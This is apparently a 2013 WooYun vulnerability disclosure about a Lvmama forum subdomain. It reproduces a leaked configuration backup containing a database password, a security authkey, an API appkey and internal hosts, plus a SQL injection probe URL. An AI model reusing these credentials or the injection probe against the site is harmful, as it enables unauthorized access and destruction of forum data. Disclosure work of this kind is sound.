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缺陷编号：wooyun-2013-042287

漏洞标题：驴妈妈某分站敏感信息泄露可导致信息系统被渗透

相关厂商：驴妈妈旅游网

漏洞作者： 猪猪侠

提交时间：2013-11-07 20:44

修复时间：2013-11-12 20:45

公开时间：2013-11-12 20:45

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-07： 细节已通知厂商并且等待厂商处理中
2013-11-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

由于没有一个通用标准的防御规则保护好中间件配置信息、DNS信息、业务数据信息、用户信息、源码备份文件、版本管理工具信息、系统错误信息和敏感地址信息(后台或测试地址)的泄露，攻击者可能会通过收集这些保护不足的数据，利用这些信息对系统实施进一步的攻击。
由于只是安全测试，本次未深入一步获取服务器和数据库权限！

详细说明：

#1 信息泄露原因
由于驴妈妈论坛管理员在更新服务器文件时，未注意到编辑器会默认创建各种.bak文件用来规避错误编辑时引发的数据丢失风险，从而造成了更严重的信息安全问题。
#2 泄露内容
网站： http://bbs.lvmama.com
网址：http://bbs.lvmama.com/config/config_global.php.bak
内容：

<?php
$_config = array();
// ---------------------------- CONFIG DB ----------------------------- //
$_config['db']['1']['dbhost'] = 'localhost';
$_config['db']['1']['dbuser'] = 'lv_bbs_x2';
$_config['db']['1']['dbpw'] = 'fSyU.NSXt.Qi8F9r';
$_config['db']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['pconnect'] = '0';
$_config['db']['1']['dbname'] = 'bbsx2';
$_config['db']['1']['tablepre'] = 'utf8_pre_';
$_config['db']['common']['slave_except_table'] = '';
// -------------------------- CONFIG MEMORY --------------------------- //
$_config['memory']['prefix'] = 'loC4Nb_';
$_config['memory']['redis']['server'] = '';
$_config['memory']['redis']['port'] = 6379;
$_config['memory']['redis']['pconnect'] = 1;
$_config['memory']['redis']['timeout'] = '0';
$_config['memory']['redis']['serializer'] = 1;
$_config['memory']['memcache']['server'] = '192.168.10.51';
$_config['memory']['memcache']['port'] = 12000;
$_config['memory']['memcache']['pconnect'] = 1;
$_config['memory']['memcache']['timeout'] = 1;
$_config['memory']['apc'] = 1;
$_config['memory']['xcache'] = 1;
$_config['memory']['eaccelerator'] = 1;
$_config['memory']['wincache'] = 1;
// -------------------------- CONFIG SERVER --------------------------- //
$_config['server']['id'] = 1;
// ------------------------- CONFIG DOWNLOAD -------------------------- //
$_config['download']['readmod'] = 2;
$_config['download']['xsendfile']['type'] = '0';
$_config['download']['xsendfile']['dir'] = '/down/';
// --------------------------- CONFIG CACHE --------------------------- //
$_config['cache']['type'] = 'sql';
// -------------------------- CONFIG OUTPUT --------------------------- //
$_config['output']['charset'] = 'utf-8';
$_config['output']['forceheader'] = 1;
$_config['output']['gzip'] = '1';
$_config['output']['tplrefresh'] = 1;
$_config['output']['language'] = 'zh_cn';
$_config['output']['staticurl'] = 'static/';
$_config['output']['ajaxvalidate'] = '0';
$_config['output']['iecompatible'] = '0';
// -------------------------- CONFIG COOKIE --------------------------- //
$_config['cookie']['cookiepre'] = 'lylv_';
$_config['cookie']['cookiedomain'] = '';
$_config['cookie']['cookiepath'] = '/';
// ------------------------- CONFIG SECURITY -------------------------- //
$_config['security']['authkey'] = '854a80x16M6pQyTq';
$_config['security']['urlxssdefend'] = 1;
$_config['security']['attackevasive'] = '';
$_config['security']['querysafe']['status'] = 1;
$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = 'intooutfile';
$_config['security']['querysafe']['daction']['1'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['2'] = 'unionselect';
$_config['security']['querysafe']['daction']['3'] = '(select';
$_config['security']['querysafe']['daction']['4'] = 'unionall';
$_config['security']['querysafe']['daction']['5'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';
$_config['security']['querysafe']['dlikehex'] = 1;
$_config['security']['querysafe']['afullnote'] = '0';
// -------------------------- CONFIG ADMINCP -------------------------- //
// -------- Founders: $_config['admincp']['founder'] = '1,2,3'; --------- //
$_config['admincp']['founder'] = '1';
$_config['admincp']['forcesecques'] = '0';
$_config['admincp']['checkip'] = 1;
$_config['admincp']['runquery'] = '1';
$_config['admincp']['dbimport'] = 1;
// -------------------------- CONFIG REMOTE --------------------------- //
$_config['remote']['on'] = '0';
$_config['remote']['dir'] = 'remote';
$_config['remote']['appkey'] = '62cf0b3c3e6a4c9468e7216839721d8e';
$_config['remote']['cron'] = '0';
// --------------------------- CONFIG INPUT --------------------------- //
$_config['input']['compatible'] = 1;
// --------------------------- CUSTOM --------------------------------- //
// 登录提交间隔时间
$_config['custom']['loginInterval'] = 15;
// 用户资料修改Url
$_config['custom']['registerUrl'] = 'http://login.lvmama.com/nsso/register/registering.do';
$_config['custom']['changePasswordUrl'] = 'http://www.lvmama.com/myspace/userinfo/password.do';
$_config['custom']['forgotPasswordUrl'] = 'http://login.lvmama.com/nsso/findpass/index.do';
$_config['custom']['changeEmailUrl'] = 'http://www.lvmama.com/myspace/userinfo/email_bind.do';
// 联合登陆Url
$_config['custom']['lmmDomain'] = 'http://www.lvmama.com';
$_config['custom']['loginTencentQQ'] = 'http://login.lvmama.com/nsso/cooperation/tencentQQUnionLogin.do';
$_config['custom']['loginTencentWeibo'] = 'http://login.lvmama.com/nsso/cooperation/tencentUnionLogin.do?isRefresh=false';
$_config['custom']['loginSinaWeibo'] = 'http://login.lvmama.com/nsso/cooperation/sinaUnionLogin.do?isRefresh=false';
$_config['custom']['loginAlipay'] = 'http://login.lvmama.com/nsso/cooperation/alipayUnionLogin.do?isRefresh=false';
$_config['custom']['loginSnda'] = 'http://login.lvmama.com/nsso/cooperation/sndaUnionLogin.do?isRefresh=false';
$_config['custom']['loginKaixin'] = 'http://www.kaixin001.com/login/connect_login.php?flag=1&url=%2Flogin%2Fconnect.php%3Fappkey%3D85704812783077bafc036569af59c655%26re%3Dhttp%3A%2F%2Flogin.lvmama.com%2Fnsso%2Fcooperation%2FkaixinUnionLogin.do%3FisRefresh%3Dfalse%26t%3D92&appkey=85704812783077bafc036569af59c655';
// ------------------- THE END -------------------- //
?>

漏洞证明：

# 再附送一个论坛的SQL注入漏洞

http://bbs.lvmama.com/sosv_award-my_gift.html?model=list&acid=6'
SELECT * FROM sosv_award_statistics WHERE act_id=6\' and gift_id>0 and uid=60339


SQL注入.jpg


# 漏洞证明

$_config['remote']['appkey'] = '62cf0b3c3e6a4c9468e7216839721d8e';


有时候，论坛appkey泄露，骇客利用恶意调用论坛API将对论坛造成严重破坏。
# 间接利用获取到论坛管理员权限(由于只是安全测试，未深一步获取服务器和数据库权限！)

.jpg


# 可禁止所有IP访问论坛，并删除所有论坛交流贴

.jpg

修复方案：

#1 杜绝为了方便而造成的不必要的信息泄露。

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-11-12 20:45

厂商回复：

漏洞Rank：10 (WooYun评价)

最新状态：

暂无